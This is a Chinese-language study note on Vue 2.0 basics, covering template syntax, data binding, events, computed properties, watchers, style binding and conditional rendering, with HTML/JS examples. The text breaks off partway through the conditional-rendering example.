Vue2.0学习笔记

Vue 技术栈(全家桶)

文章目录

一、Vue

1、Vue简介

Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。

1、官网

  1. 英文官网: https://vuejs.org/
  2. 中文官网: https://cn.vuejs.org/

2、Vue 的特点

  1. 遵循 MVVM 模式

  2. 编码简洁,体积小,运行效率高,适合 移动/PC 端开发

  3. 它本身只关注 UI,可以轻松引入 vue 插件或其它第三方库开发项目

  4. 采用组件化模式,提高代码复用率、且让代码更好维护

    img

  5. 声明式编码,让编码人员无需直接操作DOM,提高开发效率image-20210716094437585

  6. 使用虚拟DOMDiff算法,尽量复用DOM节点image-20210716094920922

3、Vue的引入

完整版(包含完整的警告和调试模式)<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.js"></script>
压缩版(删除了警告)<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>

二、Vue核心

1、初识Vue

  1. 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
  2. root容器里的代码依然符合HTML规范,只不过混入了一些特殊的Vue语法
  3. root容器里的代码被称为Vue模板
  4. Vue实例和容器是一一对应的,一个容器只能被一个实例接管
  5. 真实开发中只有一个Vue实例,并且会配合着组件一起使用;
  6. {xxx}}中的xxx可以自动读取到data中的相应属性,且xxx写js表达式时会自动执行;
  7. 例如:{{name.toUpperCase()}} 大写,{{1+1}}输出值为二,{{Date.now()}}获取时间戳
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>初识Vue</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器 -->
	<div id="demo">
		<h1>Hello,{{name.toUpperCase()}},{{address}},{{1+1}},{{Date.now()}}</h1>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//创建Vue实例
		new Vue({
			el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。\
			// el:document.getElementById('root'),也可以这么写,但不推荐
			data: { //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
				name: 'zgc',
				address: '北京'
			}
		})
	</script>
</body>
</html>

2、模板语法

Vue模板语法有两大类:

  • 插值语法:
    • 功能:用于解析标签体内容
    • 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性
    • 举例:

      123

      ,插值语法就应该覆盖放在123处
  • 指令语法:
    • 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
    • 举例:v-bind:href="xxx"或省略v-bind,xxx当成js表达式执行,且可以直接读取data中的所有属性,Vue中有很多的指令,且形式都是:v-???,此处只是拿v-bind举例子
<div id="root">
    <h1>插值语法</h1>
    <h3>你好,{{name}}</h3>
    <hr/>
    <h1>指令语法</h1>
    <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
    <a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
</div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    new Vue({
        el:'#root',
        data:{
            name:'jack',
            school:{
                name:'尚硅谷',
                url:'http://www.atguigu.com',
            }
        }
    })
</script>

3、数据绑定(v-bind、v-model)

Vue有两种数据绑定的方式:

  • 单向绑定(v-bind):数据只能从data流向页面。
  • 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。

备注:

  • 双向绑定一般都应用在表单类元素上(如:input、select等)
  • v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
<div id="root">
		<input type="text" :value="name"> //单向数据绑定:
		<br/> 
		<input type="text" v-model="name">//双向数据绑定:
		<br/>
		<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
		<!-- <h2 v-model:x="name">你好啊</h2> -->
</div>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷'
		}
	})
</script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LZX2bTLA-1645084242256)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220127235632773.png)]

4、 el与data的两种写法(挂载)

data与el的2种写法
	1.el有2种写法
		(1).new Vue时候配置el属性。
		(2).先创建Vue实例,随后再通过Vue实例名.$mount('#root')指定el的值。
			v.$mount('#root') //第二种写法 */
	2.data有2种写法
		(1).对象式,直接数据
		(2).函数式,return返回数据
	   如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
	3.一个重要的原则:
	   由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
       Vue管理的函数举例:data(),method方法中定义的函数等,this会变成Window
        data() {
            console.log('@@@', this) //此处的this是Vue实例对象
            return {
            name: '尚硅谷'
       		 }

Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。

  • el:
1. //设置 el 属性
<div id="app"></div> 
new Vue({ 
  el: "#app", 
  render: h => h(App) 
}) 
2. //使用 $mount 接口
new Vue({
  render: h => h(App) 
}).$mount("#app");
const vm = new Vue({
  render: h => h(App) 
})
vm.$mount("#app");
  • data
//1. 使用对象
data:{ n: 0 }
//2. 使用函数
//data:function(){ return{ n: 0 } }简写
data(){ //声明data函数时this指向Vue实例,千万不要用箭头函数,其this指向window
  return{ n: 0 } 
}

5、MVVM

  • MVVM:Model-View-ViewModel 是一种软件架构模式
    • M:Model 对应data中的数据
    • V: 视图(View) 模板
    • VM:视图模式(ViewModel) Vue实例对象
  • data中所有的属性,最后都出现在了vm身上
  • vm身上所有的属性,及Vue原型上所有属性,最终都在vm身上,在Vue模板中都可以直接使用, 如{{$options}} {{$emit}}均有结果出现。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CsvIwPfh-1645084242257)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220127235607640.png)]

  • Data Bindings —数据绑定
  • DOM Listeners —页面监听

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-atobZ4KL-1645084242258)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220128000732813.png)]

6、Object.defineProperty() 【ES5】

Vue数据劫持与数据代理,计算属性等都用到了这个方法,必须理解它。黑马ES5笔记里更详细

let number = 18
			let person = {
				name:'张三',
				sex:'男',
			}
			Object.defineProperty(person,'age',{
				// value:18,
				// enumerable:true, //控制属性是否可以枚举,默认值是false
				// writable:true, //控制属性是否可以被修改,默认值是false
				// configurable:true //控制属性是否可以被删除,默认值是false
				//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
				get(){
					console.log('有人读取age属性了')
					return number
				},
				//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
				set(value){
					console.log('有人修改了age属性,且值是',value)
					number = value
				}
			})
			console.log(person)

7、数据代理

1.通过一个对象代理对另一个对象中属性的操作(读/写)

<!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
//可以通过obj2对象操作obj对象中的属性
		<script type="text/javascript" >
			let obj = {x:100}
			let obj2 = {y:200}

			Object.defineProperty(obj2,'x',{
				get(){
					return obj.x
				},
				set(value){
					obj.x = value
				}
			})
		</script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d9bvitsK-1645084242259)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220128010624310.png)]

2.Vue数据代理

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iPI9Ow40-1645084242260)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220128012937287.png)]

  1. Vue中的数据代理: 通过vm对象来代理data对象中属性的操作(读/写)
  2. Vue中数据代理的好处: 更加方便的操作data中的数据,如果没有数据代理,data中所有属性就不能直接调用,前面应该加上 _data.调用,保存在 _data中,但vue会用defineProperty()给属性key添加到vm上,方便
  3. 基本原理:
    通过Object.defineProperty()把data对象中所有属性代理到vm上。
    为每一个添加到vm上的属性,都指定一个getter/setter。
    在getter/setter内部去操作(读/写)data中对应的属性。
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>Vue中的数据代理</title>
	<script type="text/javascript" src="../js/vue.js"></script><!-- 引入Vue -->
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
		<!-- 如果没有数据代理,代码要这么写,寻找_data中的name属性与address属性,太过繁琐,
                因为vm上没有这两个属性,通过数据代理将这两个属性放在vm身上一份
		<h2>学校名称:{{_data.name}}</h2>
		<h2>学校地址:{{_data.address}}</h2> -->
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	const vm = new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			address: '宏福科技园'
		}
	})
</script>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SBlba5dC-1645084242261)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220128013757469.png)]

8、事件处理

1.事件的基本使用

事件的基本使用:
1.使用v-on:xxx@xxx 绑定事件,其中xxx是事件名;
2.事件的回调需要配置在methods对象中,最终会在vm上;
3.methods中配置的函数,不用箭头函数!否则this就不是vm,而是Window;
4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象
5.==@click=“demo” ==和 @click=“demo($event)” 效果一致,但后者可以传参;

<div id="root">
		<h2>欢迎来到{{name}}学习</h2>
		<!-- <button v-on:click="showInfo">点我提示信息</button> -->
		<button @click="showInfo1">点我提示信息1(不传参)</button>
    	 //
		<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
	</div>
	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
			},
			methods:{
				showInfo1(event){
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好!')
				},
				showInfo2(event,number){
					console.log(event,number)
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好!!')
				}
			}
		})
	</script>

2.事件修饰符

1.Vue中的事件修饰符

  1. prevent:阻止默认事件(常用);

  2. stop:阻止事件冒泡(常用);

  3. once:事件只触发一次(常用);

  4. capture:使用事件的捕获模式;

  5. self:只有event.target是当前操作的元素时才触发事件;

  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕;

  7. exact:修饰符允许你控制由精确的系统修饰符组合触发的事件。

  • <!-- 即使 Alt 或 Shift 被一同按下时也会触发 -->
    <button @click.ctrl="onClick">A</button>
     
    <!-- 有且只有 Ctrl 被按下的时候才触发 -->
    <button @click.ctrl.exact="onCtrlClick">A</button>
     
    <!-- 没有任何系统修饰符被按下的时候才触发 -->
    <button @click.exact="onClick">A</button>
    
    

ES5原生

addEventListener(event, function, false) 第三个参数false或省略(默认)处于冒泡阶段,true则是捕获

<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- 阻止默认事件(常用) -->
			<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

			<!-- 阻止事件冒泡(常用) -->
			<div class="demo1" @click="showInfo">
				<button @click.stop="showInfo">点我提示信息</button>
				<!-- 修饰符可以连续写,链式写法 -->
				<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
			</div>

			<!-- 事件只触发一次(常用) -->
			<button @click.once="showInfo">点我提示信息</button>

			<!-- 使用事件的捕获模式 -->
			<div class="box1" @click.capture="showMsg(1)">
				div1
				<div class="box2" @click="showMsg(2)">
					div2
				</div>
			</div>

			<!-- 只有event.target是当前操作的元素时才触发事件; -->
			<div class="demo1" @click.self="showInfo">
				<button @click="showInfo">点我提示信息</button>
			</div>

			<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
			<ul @wheel.passive="demo" class="list"><!--wheel是滚轮,scroll1是自带滚拉条-->
				<li>1</li>
				<li>2</li>
				<li>3</li>
				<li>4</li>
			</ul>

		</div>
	</body>
	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods:{
				showInfo(e){
					alert('同学你好!')
					// console.log(e.target)
				},
				showMsg(msg){
					console.log(msg)
				},
				demo(){
					for (let i = 0; i < 100000; i++) {
						console.log('#')
					}
					console.log('累坏了')
				}
			}
		})
	</script>

2.鼠标按钮修饰符

这些修饰符会限制处理函数仅响应特定的鼠标按钮。

.left
.right
.middle
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>事件的基本使用</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<!-- <button v-on:click="showInfo">点我提示信息</button> -->
			<button v-on:click="showInfo1">点我提示信息1(不传参)</button>
                        <button @click.right="showInfo1">右键点我提示信息1(不传参)</button>
			<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
                      
                         <!-- 有且只有 ctrl 被按下的时候才触发 -->
                       <button v-on:click.ctrl.exact="showInfo1">A</button>
                        
                        <!-- shift 即使 与(Alt 或 ctrl)  被一同按下时也会触发,即只要有shift就会触发 -->
		        <button v-on:click.shift="showInfo1">A</button>
                       
                        <!-- 没有任何系统修饰符被按下的时候才触发 -->
		        <button v-on:click.exact="showInfo1">A</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
			},
			methods:{
				showInfo1(event){
                                   //不传参默认收到event事件对象
				  // console.log(event.target.innerText)
				 // console.log(this) //此处的this是vm,可以用this拿到 _data(data)中的数据
					alert('同学你好!')
				},
				showInfo2(event,number){
					console.log(event,number)
					// console.log(event.target.innerText)
					// console.log(this) //此处的this是vm
					alert('同学你好!!')
				}
			}
		})
	</script>
</html>

3.键盘事件

1.Vue中常用的按键别名

  • 回车 => enter
  • 删除 => delete (捕获“删除”和“退格”键)
  • 退出 => esc
  • 空格 => space
  • 换行 => tab (特殊,必须配合keydown去使用)
  • 上 => up
  • 下 => down
  • 左 => left
  • 右 => right

2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名),比如大写键:CapsLock => caps-lock

3.系统修饰键(用法特殊):tab、ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。

4.也可以使用keyCode去指定具体的按键(不推荐)

5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

总结案例:

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>键盘事件</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>欢迎来到{{name}}学习</h2>
		<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
		<!-- <input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo"> -->
		<!--当有需求要同时按下两个键才能生效时 
			<input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo"> -->
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷'
		},
		methods: {
			showInfo(e) {
				// console.log(e.key,e.keyCode)
				// if (e.keyCode !== 13) return 如果不是回车键,则弹出函数
				console.log(e.target.value)
			}
		},
	})
</script>
</html>

9、计算属性(computed)

1.要求实现下面的小Demo,可以通过计算属性得到全名,但这样无法显示计算属性的优越性,所以我还用了插值语法与methods方法实现,希望对你的理解有帮助。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TsNrRPRy-1645084242264)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220128042707776.png)]

1.姓名案例_插值语法实现

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>姓名案例_插值语法实现</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		姓:<input type="text" v-model="firstName"> <br /><br />
		名:<input type="text" v-model="lastName"> <br /><br />
		全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>
		<!-- 要求截取前三位,还可以在{{}}添加更多需求,但是十分不推荐,应该尽量简洁 -->
		<!-- 全名:<span>{{firstName+ '-' +lastName}}</span> -->
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			firstName: '张',
			lastName: '三'
		}
	})
</script>
</html>

2.姓名案例_methods实现

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>姓名案例_methods实现</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		姓:<input type="text" v-model="firstName"> <br /><br />
		名:<input type="text" v-model="lastName"> <br /><br />
		全名:<span>{{fullName()}}</span>
                //fullName带括号表示将函数的返回值展示出来
	</div>
</body>
<!-- data中的数据发生改变,vue模板会重新解析,对data重新读取,如果有在模板里面调方法,方法也会重新被调用 -->
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			firstName: '张',
			lastName: '三'
		},
		methods: {
			fullName() {
				console.log('@---fullName')
				return this.firstName + '-' + this.lastName
			}
		},
	})
</script>
</html>

3.姓名案例_计算属性实现

vue将data中的数据视为属性

计算属性:
1.定义: 要用的属性不存在,要通过已有属性(Vue实例中的属性)计算得来
2.原理: 底层借助了Object.defineproperty方法提供的getter和setter
3.get函数什么时候执行?
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势: 与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
5.备注:
1.计算属性最终会出现在vm上,直接读取使用即可。不能写fullName.get(),没有这种写法。
2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>姓名案例_计算属性实现</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		姓:<input type="text" v-model="firstName"> <br /><br />
		名:<input type="text" v-model="lastName"> <br /><br />
		测试:<input type="text" v-model="x"> <br /><br />
		全名:<span>{{fullName}}</span> <br /><br />
		全名:<span>{{fullName}}</span> <br /><br />
		全名:<span>{{fullName}}</span> <br /><br />
		全名:<span>{{fullName}}</span>
		<!-- 多个fullName初始只会调用一次get(),因为缓存了 ,用methods方法调用没有缓存-->
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			firstName: '张',
			lastName: '三',
			x: '你好'
		},
		computed: {
			fullName: {
			   //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
			  //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
				get() {
					console.log('get被调用了')
					console.log(this) //此处的this是vm
					return this.firstName + '-' + this.lastName
				},
				//set什么时候调用? 当fullName被修改时。
				set(value) {
					console.log('set', value)
					const arr = value.split('-')//分隔张-三,-会自动去掉
					// 用-做分隔符,将其变为数组
					this.firstName = arr[0]
					this.lastName = arr[1]
                                        //可以用vm.fullName = '李-四'更改fullname的值
				}
                                //在多数情况下只考虑读取不考虑修改,可以把set部分删掉,简写
                                // fullName(){
				//	console.log('get被调用了')
				//	return this.firstName + '-' + this.lastName
				//}
                                //注意上方模板{{}}中依然放fullName,不带括号。
			}
		}
	})
</script>
</html>

2.计算属性简写(只读取,不设置的时候)

<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>
	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
			},
			computed:{
				fullName(){
					console.log('get被调用了')
					return this.firstName + '-' + this.lastName
				}
			}
		})
	</script>

10、监视属性(侦听器watch)

1.天气案例-监视属性

监视属性watch
1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
2.监视的属性必须存在,才能进行监视!!
3.监视的两种写法:
(1).new Vue时传入watch配置
(2).通过vm.$watch监视

immediate:true, //初始化时让handler调用一下

深度监视
(1).Vue中的watch默认不监测对象内部值的改变(一层)。
(2).配置deep:true可以监测对象内部值改变(多层)。
备注
(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!vm.numbers.b = 999;
(2).使用watch时根据数据的具体结构,决定是否采用深度监视。

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>天气案例_监视属性</title>
	<script type="text/javascript" src="../js/vue.js"></script><!-- 引入Vue -->
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>今天天气很{{info}} {{x}}</h2>
		<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句
		比如下面两句功能相同,但是要记住模板里面找数据从vm内找,有些语句放入报错 -->
		<button @click="isHot = !isHot;x++">切换天气</button>
		<button @click="changeWeather">切换天气</button>
                <hr />
		深度监视按钮:
		<h3>a的值是:{{numbers.a}}</h3>
		<button @click="numbers.a++">点我让a+1</button>
		<h3>b的值是:{{numbers.b}}</h3>
		<button @click="numbers.b++">点我让b+1</button>
		{{numbers.c.d.e}}
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	const vm = new Vue({
		el: '#root',
		data: {
			isHot: true,
			x: 0,
			numbers: {
				a: 1,
				b: 1,
				c: {
					d: {
						e: 100
					}
				}
			}
		},
		computed: {
			info() {
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
			changeWeather() {
				this.isHot = !this.isHot
				this.x++
			}
		},
		// 方法一----------------------------------------------------------------------
		/* watch:{
			isHot:{
				immediate:true, //初始化时让handler调用一下
				//handler什么时候调用?当isHot发生改变时。
				handler(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue)
				}
			}
		} 
//简写:不用immediate:true,deep: true等属性时可以简写
	// isHot(newValue, oldValue) {
	// 	console.log('isHot被修改了', newValue, oldValue, this)
	// }
*/
		//深度监视:
		//监视多级结构中某个属性的变化,注意带引号===(监视多级中的属性变化)====
		/* 'numbers.a':{
			handler(){
				console.log('a被改变了')
			}
		} 
		但如果多级结构中属性太多的话太过繁琐
		*/
		//监视多级结构中所有属性的变化
		numbers: {
			deep: true,//deep开启深度监视,不开启的话只监视numbers变化,不能看到numbers内的数据变化,
            		   //检测粉色空中绿色框的值变化
			handler() {
				console.log('numbers改变了')
			}
		}
	})
	// 方法二-----------------------------------------------------------------
	vm.$watch('isHot', {//注意带引号
		immediate: true, //初始化时让handler调用一下
		//handler什么时候调用?当isHot发生改变时。
		handler(newValue, oldValue) {
			console.log('isHot被修改了', newValue, oldValue)
		}
	})
//简写
// vm.$watch('isHot', function (newValue, oldValue) {
// 		console.log('isHot被修改了', newValue, oldValue, this)
// 	})
</script>
</html>

2.姓名案例_watch实现

通过watch实现的姓名案例与上方计算属性实现的姓名案例比较:

computed和watch之间的区别

  1. computed能完成的功能,watch都可以完成。
  2. watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。computed不可以,因为computed依赖返回值得到结果。而watch则是得到属性改变的结果。

两个重要的小原则

  1. 所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
  2. 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象。
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>姓名案例_watch实现</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		姓:<input type="text" v-model="firstName"> <br /><br />
		名:<input type="text" v-model="lastName"> <br /><br />
		全名:<span>{{fullName}}</span> <br /><br />
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			firstName: '张',
			lastName: '三',
			fullName: '张-三'
		},
		watch: {
			//简写
			firstName(newValue) {
				setTimeout(() => {
					console.log(this)
					this.fullName = newValue + '-' + this.lastName
				}, 1000);
			},
			lastName(newValue) {
				this.fullName = this.firstName + '-' + newValue
			}
		}
	})
</script>

</html>

11、绑定样式

1.class样式

写法:class="xxx" xxx可以是字符串、对象、数组。
	字符串写法适用于:类名不确定,要动态获取。
	<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
	数组写法适用于:要绑定多个样式,个数不确定,名字也不确定。
	<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
	const index = Math.floor(Math.random() * 3)	
	对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
	<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

2.style样式

	:style="{fontSize: xxx}"其中xxx是动态值。
	:style="[a,b]"其中a、b是样式对象。
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>绑定样式</title>
	<style>
		.basic {
			width: 400px;
			height: 100px;
			border: 1px solid black;
		}

		.happy {
			border: 4px solid red;
			;
			background-color: rgba(255, 255, 0, 0.644);
			background: linear-gradient(30deg, yellow, pink, orange, yellow);
		}

		.sad {
			border: 4px dashed rgb(2, 197, 2);
			background-color: gray;
		}

		.normal {
			background-color: skyblue;
		}

		.atguigu1 {
			background-color: yellowgreen;
		}

		.atguigu2 {
			font-size: 30px;
			text-shadow: 2px 2px 10px red;
		}

		.atguigu3 {
			border-radius: 20px;
		}
	</style>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
		<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br /><br />

		<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
		<div class="basic" :class="classArr">{{name}}</div> <br /><br />

		<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
		<div class="basic" :class="classObj">{{name}}</div> <br /><br />

		<!-- 绑定style样式--对象写法 -->
		<div class="basic" :style="styleObj">{{name}}</div> <br /><br />
		<!-- 绑定style样式--数组写法 -->
		<div class="basic" :style="styleArr">{{name}}</div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	const vm = new Vue({
		el: '#root',
		data: {
			name: '我要进大厂',
			mood: 'normal',
			classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
			classObj: {
				atguigu1: true,
				atguigu2: false,
			},
			styleObj: {
				fontSize: '40px',
				color: 'red',
			},
			styleObj2: {
				backgroundColor: 'orange'
			},
			styleArr: [
				{
					fontSize: '40px',
					color: 'blue',
				},
				{
					backgroundColor: 'gray'
				}
			]
		},
		methods: {
			changeMood() {
				//随机切换心情
				const arr = ['happy', 'sad', 'normal']
				const index = Math.floor(Math.random() * 3)
				//Math.random()	返回 0 ~ 1 之间的随机数,包含 0 不包含 1。
				//Math.floor(x)	对 x 进行下舍入,即向下取整。
				this.mood = arr[index]
			}
		},
	})
</script>
</html>

12、条件渲染

条件渲染:

1.v-if

写法:
(1).v-if="表达式" 
(2).v-else-if="表达式"
(3).v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
	 可以与template的配合使用,不破坏结构  <template v-if="n === 1">
                                            <h2>你好</h2>
                                            <h2>百度</h2>
                                            <h2>北京</h2>
                                        </template> -->

注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

2.v-show 频率更改使用

	写法:v-show="表达式"
	适用于:切换频率较高的场景。
	特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉,display:none								

3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>条件渲染</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
		<!-- 使用v-show做条件渲染  元素隐藏-->
		<!-- <h2 v-show="false">欢迎来到{{name}}</h2>
		<h2 v-show="true">欢迎来到{{name}}</h2> -->
		<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

		<!-- 使用v-if做条件渲染  元素直接被移除-->
		<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
		<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

		<!-- <h2 v-show="n === 1">你好</h2>
